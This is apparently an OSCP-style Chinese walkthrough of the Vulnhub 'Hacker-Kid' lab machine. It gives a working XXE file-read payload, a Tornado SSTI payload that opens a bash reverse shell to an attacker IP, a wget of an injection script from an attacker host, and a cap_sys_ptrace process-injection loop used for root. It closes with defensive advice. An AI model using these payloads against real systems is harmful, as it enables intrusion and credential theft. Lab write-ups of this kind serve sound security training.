OSCP-Vulnhub靶机记录-hacker-kid-walkthrough
字数 1529 2025-08-12 11:34:33

OSCP Vulnhub靶机记录:Hacker-Kid Walkthrough 详细教学文档

靶机概述

初始信息收集

1. 网络发现

使用arp-scan识别目标IP:

arp-scan -l

发现目标IP为192.168.52.134

2. 端口扫描

使用nmap进行端口扫描:

nmap -sV -p- 192.168.52.134

关键发现:

  • 80端口:HTTP服务
  • 53端口:DNS服务

Web应用枚举

1. 初始访问

访问80端口HTTP服务,发现页面提示"DIG",暗示DNS枚举的可能性。

2. 页面源代码分析

查看页面源代码,发现page_no作为GET参数:

http://192.168.52.134/?page_no=1

尝试直接访问被拒绝,需要使用Burp Suite进行进一步测试。

3. Burp Suite拦截修改

使用Burp拦截请求,修改page_no参数:

  • 尝试page_no=21成功,获得子域名:hackers.blackhat.local

4. DNS枚举

将发现的子域名添加到/etc/hosts

192.168.52.134 hackers.blackhat.local

访问该子域名发现新内容,继续枚举发现另一个子域名。

XXE注入漏洞利用

1. 发现XXE漏洞

在新发现的子域名页面中,发现XML格式的数据传输,可能存在XXE注入漏洞。

2. 利用XXE读取文件

使用以下XXE Payload:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<email>&xxe;</email>

成功读取/etc/passwd文件,发现用户saket具有登录shell:

saket:x:1000:1000:,,,:/home/saket:/bin/bash

3. 获取更多信息

使用base64编码和php协议读取.bashrc文件:

php://filter/convert.base64-encode/resource=/home/saket/.bashrc

解码后发现用户名和密码凭据。

Tornado Web Server利用

1. 登录9999端口

使用获取的凭据saket成功登录9999端口的Tornado Web Server。

2. 参数注入测试

发现name参数可通过GET方法传递,测试SSTI注入:

http://192.168.52.134:9999?name={{7*7}}

确认存在服务器端模板注入漏洞。

3. 反弹shell

构造SSTI Payload获取反向shell:

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.129/9001 0>&1"')}}

URL编码后发送请求,同时在攻击机监听:

nc -nvlp 9001

4. 升级shell

获取基本shell后升级为交互式shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

权限提升

1. 检查特殊权限

检查具有特殊权限的二进制文件:

/sbin/getcap -r / 2>/dev/null

发现python2.7具有cap_sys_ptrace+ep能力。

2. 进程注入提权

使用进程注入技术进行提权:

  1. 下载提权脚本inject.py
wget http://attacker-ip/inject.py
  1. 批量尝试root进程注入:
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
  1. 检查5600端口是否开启,确认注入成功。

3. 获取root权限

攻击机连接目标5600端口:

nc 192.168.52.134 5600

成功获取root权限。

关键知识点总结

  1. DNS枚举:通过DIG提示发现子域名,是信息收集的重要环节
  2. XXE注入:利用XML外部实体注入读取系统文件
  3. SSTI漏洞:Tornado Web Server的服务器端模板注入漏洞利用
  4. Capabilities提权:利用python2.7的cap_sys_ptrace能力进行进程注入
  5. 反向shell技巧:通过SSTI执行系统命令获取反向连接

防御建议

  1. 禁用XML外部实体解析以防止XXE攻击
  2. 对用户输入进行严格过滤,防止模板注入
  3. 限制二进制文件的capabilities权限
  4. 定期更新和修补Web应用框架
  5. 实施最小权限原则,避免过度授权

参考资源

  1. PayloadsAllTheThings - XXE Injection
  2. 进程注入提权技术
  3. Tornado Web Server安全指南
OSCP Vulnhub靶机记录:Hacker-Kid Walkthrough 详细教学文档 靶机概述 靶机名称:Hacker-Kid 难度等级:中等 靶机下载地址: https://www.vulnhub.com/entry/hacker-kid-101,719/ 攻击环境:Kali Linux (192.168.52.129) 目标IP:192.168.52.134 初始信息收集 1. 网络发现 使用 arp-scan 识别目标IP: 发现目标IP为192.168.52.134 2. 端口扫描 使用nmap进行端口扫描: 关键发现: 80端口:HTTP服务 53端口:DNS服务 Web应用枚举 1. 初始访问 访问80端口HTTP服务,发现页面提示"DIG",暗示DNS枚举的可能性。 2. 页面源代码分析 查看页面源代码,发现 page_no 作为GET参数: 尝试直接访问被拒绝,需要使用Burp Suite进行进一步测试。 3. Burp Suite拦截修改 使用Burp拦截请求,修改 page_no 参数: 尝试 page_no=21 成功,获得子域名: hackers.blackhat.local 4. DNS枚举 将发现的子域名添加到 /etc/hosts : 访问该子域名发现新内容,继续枚举发现另一个子域名。 XXE注入漏洞利用 1. 发现XXE漏洞 在新发现的子域名页面中,发现XML格式的数据传输,可能存在XXE注入漏洞。 2. 利用XXE读取文件 使用以下XXE Payload: 成功读取 /etc/passwd 文件,发现用户 saket 具有登录shell: 3. 获取更多信息 使用base64编码和php协议读取 .bashrc 文件: 解码后发现用户名和密码凭据。 Tornado Web Server利用 1. 登录9999端口 使用获取的凭据 saket 成功登录9999端口的Tornado Web Server。 2. 参数注入测试 发现 name 参数可通过GET方法传递,测试SSTI注入: 确认存在服务器端模板注入漏洞。 3. 反弹shell 构造SSTI Payload获取反向shell: URL编码后发送请求,同时在攻击机监听: 4. 升级shell 获取基本shell后升级为交互式shell: 权限提升 1. 检查特殊权限 检查具有特殊权限的二进制文件: 发现 python2.7 具有 cap_sys_ptrace+ep 能力。 2. 进程注入提权 使用进程注入技术进行提权: 下载提权脚本 inject.py : 批量尝试root进程注入: 检查5600端口是否开启,确认注入成功。 3. 获取root权限 攻击机连接目标5600端口: 成功获取root权限。 关键知识点总结 DNS枚举 :通过DIG提示发现子域名,是信息收集的重要环节 XXE注入 :利用XML外部实体注入读取系统文件 SSTI漏洞 :Tornado Web Server的服务器端模板注入漏洞利用 Capabilities提权 :利用python2.7的cap_ sys_ ptrace能力进行进程注入 反向shell技巧 :通过SSTI执行系统命令获取反向连接 防御建议 禁用XML外部实体解析以防止XXE攻击 对用户输入进行严格过滤,防止模板注入 限制二进制文件的capabilities权限 定期更新和修补Web应用框架 实施最小权限原则,避免过度授权 参考资源 PayloadsAllTheThings - XXE Injection 进程注入提权技术 Tornado Web Server安全指南